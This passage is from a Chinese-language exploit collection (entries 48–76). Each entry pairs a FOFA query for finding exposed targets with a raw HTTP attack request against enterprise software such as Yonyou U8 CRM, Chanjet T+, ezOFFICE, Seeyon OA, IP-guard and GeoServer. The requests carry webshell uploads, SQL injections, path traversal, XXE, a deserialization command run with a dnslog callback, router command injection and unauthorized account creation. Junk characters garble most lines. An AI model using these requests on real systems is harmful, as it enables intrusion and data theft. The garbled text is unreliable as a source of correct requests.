Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
! F' p2 D6 T% X$ ?8 j$ S* B% bIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
) N: b' I, I; zConnection: close


' k( c8 K, R: y. \$ u
4 q& S% @, Z- o, i48. 用友U8 CRM swfupload 任意文件上传
+ l7 L* y! G5 ]( t: F% b) K8 r! X& oFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
2 c, ?9 i1 U( I" k( \" \2 S6 @Host: your-ip
7 A" S! x% L3 q8 f2 d( o8 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
7 M9 ]! U2 e) f0 g! M( wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 R/ N% S8 c4 WAccept-Encoding: gzip, deflate
/ C- T9 k0 f6 }6 k4 ~+ |5 SContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
, V; Q' w8 x2 J9 V2 ~" zContent-Disposition: form-data; name="file"; filename="s.php"
7 r% L8 a/ f" U3 K/ \1 w  v1231
+ p' k8 a# _' v3 p  ~- oContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
2 v/ P) i9 t# f5 w: b------269520967239406871642430066855--

, x' q+ w8 m+ g) x1 e
4 {# b7 M7 E) }# y6 |; J49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 D# m( P, y0 t$ FFOFA：body="用友U8CRM"
( [8 y0 n0 f6 B: k
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ k9 R9 W, ?& i' \9 [3 s# lContent-Length: 329
/ h2 \' d( I) {1 ?7 V+ }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  {( S# Q# c2 H; M8 i' H) i7 TConnection: close
  c. e1 N, h- W0 G. K( \Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
4 y4 |- c/ s' s/ ]Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

+ `0 |) I8 V1 N/ v) Y* Fwersqqmlumloqa
7 n$ I; |* z# [-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
9 e# ]! T7 Z. M- M6 S! M. \! e6 @: R2 W
7 I0 d* |. X, oupload
8 @3 n2 s) w0 k: x-----------------------------vvv3wdayqv3yppdxvn3w--
/ z+ Q+ w7 p$ y# M2 k" g) @
7 \4 U& v$ ~/ {4 o* y
8 E" m2 G1 r6 ^2 I/ I: bhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
- T' h- h7 z3 n* D/ j9 P) h& t
50. QDocs Smart School 6.4.1 filterRecords SQL注入
4 U" n, P6 }! TFOFA：body="close closebtnmodal"
1 H" @( D! x' d: Y6 z& pPOST /course/filterRecords/ HTTP/1.1
/ s8 G% p1 Y8 nHost: x.x.x.x
, E2 l# O5 ~' I2 v' ~' JUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
8 e. T1 q* l! C8 t6 M+ s' |" yContent-Length: 224
: E! {* O1 }# ?5 Q4 M8 ~* K0 n$ A4 |Accept: */*
Accept-Language: en
" L/ w+ J1 O$ {( \1 xContent-Type: application/x-www-form-urlencoded
# M, M" G$ a# G6 ?6 J, PAccept-Encoding: gzip

* |7 k+ f6 v% s  W* S& Fsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

( V) L- O3 |  e7 P+ P6 n* j5 s% v# j
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
3 `% @+ X1 H# Y4 g7 u2 r! {; l+ ~GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
$ v% z! N( u! S* l; |* _Host: your-ip
) U' @" k: ~1 Z5 s" D( i9 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
; l$ `% ^1 d. K4 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
* V8 F  m; k  M, }5 FAccept-Encoding: gzip, deflate
3 q- c7 I* g; T  `Accept-Language: zh-CN,zh;q=0.9
' I% P' d9 p" c. oConnection: close
2 J; m  y/ B0 ^, \9 J) N
% h( I/ V) p- a: e$ U- O
% w1 W- z* Z2 f1 F# d1 a52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
' j5 e: \1 }; KHost: 192.168.86.128:8097
; s! t1 q" D3 o2 A# b  l3 l* O( aUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
+ L; L( |% y) ]& T$ C; QContent-Length: 87
. `$ `* M4 k. E  O$ xAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
9 p6 q( H- q3 J7 k2 `4 C4 XAccept-Encoding: gzip
  s9 T* B. m; W" F
1 p& E, C& H" b2 W% w! ctfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
+ }9 m% u# `% O" t  o: m/ \
5 c+ r9 _/ v" Y% ^' n: G6 F
( J$ f6 ^% R; g- O- h53. 迪普 DPTech VPN Service 任意文件上传
( `9 m/ ]2 D8 E$ XFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

, z* o# X. g8 |( S9 u, b2 `
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
4 `, U4 s; [% c$ c# B第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
. _( n9 Z- `7 T"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
, }: A" l% n# @/ M5 Q3 x
, D0 ]1 {' ~4 H
完整数据包
: A/ |9 e9 Y) K( X4 B  J, tPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
  F7 ?0 h- n1 A+ n2 ?2 RUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

5 p4 f$ i* n8 G, Y" f6 f{
) D0 l! g+ V, b"storeID":{
& K! {7 j0 [3 y- ~1 g "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
, H. Z5 J' o2 B, R9 E0 z( z "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
! d( q2 }/ s2 H, H$ f5 ]    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
  Y1 e& G* a- n+ m! a2 l    }
$ W. \9 S# \. W3 R5 m5 X' l7 K  }
/ t8 a2 a# J2 {9 f0 S% Y2 n  }
3 c3 c! H$ ~% D6 Q6 R}

3 }! g, w. O' D
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
% q" N& J5 {6 k( j; ~. k4 Y6 f
4 p+ s& n0 [# b8 p: k1 ]
( C' N, v% |2 ?& t55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
4 _& {/ k. O6 z; Y2 [第一步，通过
# S3 K  V. _/ a' K* o8 i; f/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

/ n* P* I$ @! C56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
+ d$ H9 r0 l( s9 CPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
# C, ?5 w, X1 R8 D/ D8 I2 [Host: x.x.x.x
5 C$ L: M' ~: _  I8 E1 y! TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
& U" G# \! v: W
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
& i  o  s# V: n& E7 P6 o) u    "ObjectInstance":{
8 j2 z" x; G4 ~- J5 ], g       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
3 |  {& z* N7 |8 }) c           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
: f/ w" U9 u0 e/ ~  d0 L       }
    }
  }
/ U; p+ t# y6 v. K; p}
  K2 {/ |9 c* K1 o

3 S' G* O+ d; B0 @) i  ~' S57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
2 K4 Z" N* G# E) \GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
3 e; P, ~4 s7 r6 ^3 Y" i. y0 b+ b+ I7 DUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
# _4 j1 t: l- [% k. V8 MAccept-Encoding: gzip, deflate
: }; e/ }, V& L6 T, gConnection: close
+ Z, e' `2 @6 D% d7 h4 m
: E5 K6 ]4 X. |/ w  U
' p% k; M: m& T8 V- F1 H# U4 f58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
2 M( ]3 [9 {) w5 YGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
+ [& F% u) w  ^- q1 j3 {! aHost: your-ip
$ t4 c' i. \2 K5 P- BUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
0 z1 J6 E' J* }  G& e' tAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
9 U$ D" i& O  C* K; d9 q; iConnection: close
5 M# Z" e/ z4 _$ R' N/ P8 x

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
" M6 {* G2 L. g' O+ bHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
1 K" {2 b# d  @# P9 JConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
6 [" S( j: u# \- C3 E. {Accept-Encoding: gzip
. }: v/ i& z4 z( y3 W" A+ b+ W
: s# z$ W& _8 H* o0 H& {PAYLOAD


- ^- O6 q& F) W60. 百卓Smart管理平台 importexport.php SQL注入
5 m# _6 }# _8 D; E' KFOFA：title="Smart管理平台"
6 F. f9 a# \$ o3 f* s6 {) E  IGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
& J4 _% l" K0 P$ O: |9 uHost:
' P' ]5 u& Z7 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% P. h* I5 U* hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- K7 [  k. E+ n8 n: ^+ J5 Z3 r5 Y+ gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, J! I9 e8 K( J, e- R* E% pConnection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
, p3 c7 P7 ?9 G! yFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) _$ e( `3 G/ u/ h3 y' {; V% rContent-Length: 27
Accept: */*
3 E; ~2 L; V8 u* X1 m' {Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
  z' P4 i* L; M* Q
8uxssX66eqrqtKObcVa0kid98xa


3 @% f1 n4 ?4 [3 v! b* b8 d62. IP-guard WebServer 远程命令执行
; A  z% h# D; C" t) K* CFOFA："IP-guard" && icon_hash="2030860561"
& i* I' o" W: M, u3 kGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
; \; ]8 V! a9 t, ?- |5 oUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
5 _* a5 q6 Q( dAccept: */*
Accept-Language: en
/ U, A/ `. |" M1 z1 x4 w! b$ EAccept-Encoding: gzip


访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

: W% u" b1 x1 U6 [7 \7 D- x
63. IP-guard WebServer任意文件读取
0 t. p3 m6 X' I: LIP-guard < 4.82.0609.0
2 l+ ~3 \. h! k% v7 y( ~( @! J7 W3 iFOFA：icon_hash="2030860561"
+ D! r  J4 [6 b, S7 {POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' J$ F! a7 j: Q% mAccept-Encoding: gzip, deflate
9 J, ^' c0 Y( r+ ~1 Z7 K% q# o1 GAccept-Language: zh-CN,zh;q=0.9
0 {1 e7 t- H- N3 Z8 U5 P1 w% IConnection: close
( U. \, Y3 Y7 q- b! CContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
3 N3 P. w  T' h
- u3 c' {0 F) s6 W- S64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
2 x  Q0 T6 y3 p7 g" }& `. \5 d- JPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
. r  l# t2 I- }1 A& y$ {0 bAccept: */*
1 M3 ~$ J% w/ ^' |. g2 a! T2 TAccept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
/ H; G- P) ~' Q* `6 S" p4 Z7 @
6 n( k3 ~( ]! t8 Q* N6 z<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
8 V! F( x' n6 d5 m2 [<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>

3 H2 l+ \$ A- L+ P* {4 c& p, j# [
& n4 w0 M$ O* M) N! p65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
: j  _; [* S/ i& cPOST /SystemMng.ashx HTTP/1.1
Host:
  M; s8 c2 B9 V4 a* M; kUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
: Z! e6 d# {* x# B% M2 ?& QAccept-Encoding: gzip, deflate
( C5 p6 q  A* s8 HAccept: */*
  r. k# a, L( u; z, O6 E1 W1 QConnection: close
Accept-Language: en
8 Z* T  I: D  ]Content-Length: 174
) B4 B* }' z8 b6 \# }6 E
2 N8 X8 h5 z" @! C* m, T: ?& E: ?operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

1 j" r, Z5 \) f3 O  n- u/ w- O* S& U9 u
3 K- N5 e# i6 x6 f" p66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
- K- i9 C" I* l4 P$ ?* x# n0 RFOFA：app="万户ezOFFICE协同管理平台"
7 {  _# X4 b$ P9 T5 U  A. s
  z9 |/ S3 Z$ Y8 S  {5 D$ ]# u9 n8 GGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
% v% k: g. o+ d' t" }3 ?, N. v( LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
) |- m  L- Y+ s: ?" Y5 d1 R0 mAccept: */*
Accept-Language: en
Accept-Encoding: gzip
( S# s# _- U* M7 c- D

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
6 @1 y3 J( [9 O
/ r" h0 v5 j. r3 z  ?$ O3 q( z67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
$ {8 f' p, X# Z8 n  W0 K' ?8 UPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
$ P9 o5 G/ I+ t) H  \0 bHost: x.x.x.x
$ z0 w+ p. [8 _User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
% p) ]5 `! y1 |Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 D$ F' E5 d: g$ y$ |- W+ q2 X( XAccept-Encoding: gzip, deflate
& W2 v2 p" Q9 ?# k* O3 g. {* N9 PAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  L7 p8 ~, a, C7 [% O& jConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
6 z% [# M# F% a' @/ S! z  A& L4 _DNT: 1
2 o+ f# a% T- B+ eUpgrade-Insecure-Requests: 1
# |; }2 A: [; D
--ufuadpxathqvxfqnuyuqaozvseiueerp
4 O+ B8 p6 l7 Q. |Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
8 w, ^' a, J6 m! ?1 G
<% out.print("sasdfghjkj");%>
0 g) N, q, c7 `5 @5 |; y--ufuadpxathqvxfqnuyuqaozvseiueerp--
0 A) A: G/ ~! h1 l2 u

+ m" L2 U1 D, u4 T: j0 c+ A! B& \, a文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
8 K; K0 s6 h/ Q5 ^
68. 万户ezOFFICE wf_printnum.jsp SQL注入
# W, J4 ]5 C5 O  O/ N2 FFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
/ G2 {1 c8 ]6 u* vHost: {{host}}
9 K3 X( H+ x/ Y" Q7 X0 O/ F# rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
  U( C  W0 _' r* LAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 ^. H" k. L* s9 XAccept-Language: zh-CN,zh;q=0.9
Connection: close

. e3 C( K/ ?$ v5 W$ w0 S
$ O" w# q, V9 q5 N69. 万户 ezOFFICE contract_gd.jsp SQL注入
* h+ u: ^# W$ v7 ^2 AFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
2 O* U. M0 \# y4 H+ iHost: your-ip
4 L, a$ V8 O6 O  VUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ f) v+ t: r$ g; e6 QAccept-Encoding: gzip, deflate
Accept: */*
* E0 _9 Q- }* m/ m* r/ ~Connection: keep-alive


- h% [8 x' ]8 \- y5 ^: C70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
9 u+ p5 V, y0 k/ jPOST /member/success.aspx HTTP/1.1
9 V1 o  m0 K2 m. l* OHost: {{Hostname}}
' o1 @/ n2 q- dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
% a* x5 b6 x( V5 lContent-Length: 16702
2 V* L7 S# t; [# N$ u6 _. W' I9 J
__VIEWSTATE=PAYLOAD
3 i) Q1 K% q2 d+ }

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
1 K8 H/ q- L! {' p+ cHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
; ^. w$ O+ O6 M. f  n' NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 [2 ]) ?1 x# `/ O# D& _8 m; TUpgrade-Insecure-Requests: 1


3 F* t, P0 o5 Q/ W0 X. c4 e; L3 s72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
1 K5 d$ z+ j4 r& Q, SPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
: K7 V6 w9 A4 \8 _$ y7 PHost: 192.168.40.131:8099
: \' ^+ B: D9 p" }User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
: e7 Y0 G1 H3 u7 ^" a* K3 Y8 IAccept-Encoding: gzip
* ^- L/ S  u, X& Y
7 l) ?; ~/ L# d6 TS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

1 q* Y( }, u6 y: C$ `
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
+ C. J5 U2 n' S+ N2 G; S# PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
  D& J% u$ S7 q! q; G/ {Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
% J1 ]6 b2 ]) C3 O+ t- f" z
PAYLOAD
  Y0 @" l1 `/ N% V, e
3 @+ ]  U% b' n5 o# `
$ _7 t5 D6 g& l, l2 G; U74. 致远M3-server 6_1sp1 反序列化RCE
* x& w& Z' ]  {* q3 A& D7 }FOFA：title="M3-Server"
PAYLOAD
9 R$ r5 r0 X4 v) ?, ~
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
: ?: z1 @) j. [Host: x.x.x.x
) }. |2 k' c: I  S1 G7 W: eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
* |4 K4 P+ w& Y, f4 F& O$ yAccept: */*
Accept-Language: en
* c0 ~! E/ g% `7 iAccept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

6 d9 H. M3 ^5 z, [; H* G& y, d
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
- I* H9 |% b1 l8 W- l" yPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
- w6 d0 S$ b  A; e* s# aConnection: close
6 \% ~/ a/ m& \Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% k1 W$ Z4 w2 G" A" M' G" l3 G8 QAccept-Encoding: gzip, deflate
; @9 W" w8 v0 q; U  H: r1 PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 l# d. ]8 v) vCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
0 {" G7 C- r5 F9 |) z& |# ^1 VUpgrade-Insecure-Requests: 1
$ J1 L/ M$ Z" G( R1 t4 D
% M8 T+ f' I+ k3 D+ l{
"command": "GetFZinfo",
